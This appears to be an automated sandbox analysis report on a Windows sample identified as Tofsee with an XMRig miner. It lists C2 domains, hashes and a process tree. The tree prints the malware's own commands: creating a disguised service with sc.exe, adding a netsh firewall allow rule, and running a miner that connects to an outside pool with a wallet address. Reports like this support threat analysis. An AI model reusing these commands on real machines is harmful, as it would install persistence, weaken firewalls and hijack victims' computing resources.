Analysis

  • max time kernel
    196s
  • max time network
    213s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/11/2022, 14:37

General

  • Target
    file.exe
  • Size 149KB
  • Sample221126-ry5jrseb21
  • SHA256 fdaafcdb34f1791e225d3e1c7abbe479328cb38849e1b8bf8c28044bb9b99cfd
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2836
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ojzprffg\
      2⤵
        PID:1228
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oiypsqtc.exe" C:\Windows\SysWOW64\ojzprffg\
        2⤵
          PID:1204
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ojzprffg binPath= "C:\Windows\SysWOW64\ojzprffg\oiypsqtc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ojzprffg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3460
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ojzprffg
          2⤵
          • Launches sc.exe
          PID:2892
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4180
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 1124
          2⤵
          • Program crash
          PID:4508
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2836 -ip 2836
        1⤵
          PID:3168
        • C:\Windows\SysWOW64\ojzprffg\oiypsqtc.exe
          C:\Windows\SysWOW64\ojzprffg\oiypsqtc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4724
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3584
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
                PID:4288
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4724 -s 512
              2⤵
              • Program crash
              PID:2456
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4724 -ip 4724
            1⤵
              PID:4188

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  oiypsqtc.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\oiypsqtc.exe
                  • Size 12.2MB
                  • SHA256 45d67f6ba0a2571985a965975369a7b44c2094c257959d9844ff6689b942d93a
                  • MD5 SHA1 SHA512 SSDEEP

                  oiypsqtc.exe

                  • Path C:\Windows\SysWOW64\ojzprffg\oiypsqtc.exe
                  • Size 12.2MB
                  • SHA256 45d67f6ba0a2571985a965975369a7b44c2094c257959d9844ff6689b942d93a
                  • MD5 SHA1 SHA512 SSDEEP

                  memory/2836-135-0x0000000000CBE000-0x0000000000CCE000-memory.dmp

                  memory/2836-136-0x0000000002840000-0x0000000002853000-memory.dmp

                  memory/2836-145-0x0000000000400000-0x0000000000AD8000-memory.dmp

                  memory/2836-134-0x0000000000400000-0x0000000000AD8000-memory.dmp

                  memory/2836-132-0x0000000000CBE000-0x0000000000CCE000-memory.dmp

                  memory/2836-133-0x0000000002840000-0x0000000002853000-memory.dmp

                  memory/3584-163-0x0000000001DF0000-0x0000000001DF5000-memory.dmp

                  memory/3584-147-0x0000000000A60000-0x0000000000A75000-memory.dmp

                  memory/3584-169-0x0000000002DD0000-0x0000000002DD7000-memory.dmp

                  memory/3584-166-0x0000000007880000-0x0000000007C8B000-memory.dmp

                  memory/3584-152-0x0000000000A60000-0x0000000000A75000-memory.dmp

                  memory/3584-153-0x0000000000A60000-0x0000000000A75000-memory.dmp

                  memory/3584-154-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                  memory/3584-157-0x0000000001DD0000-0x0000000001DD6000-memory.dmp

                  memory/3584-160-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

                  memory/4288-173-0x0000000001000000-0x00000000010F1000-memory.dmp

                  memory/4288-178-0x0000000001000000-0x00000000010F1000-memory.dmp

                  memory/4724-151-0x0000000000400000-0x0000000000AD8000-memory.dmp

                  memory/4724-150-0x0000000000D09000-0x0000000000D19000-memory.dmp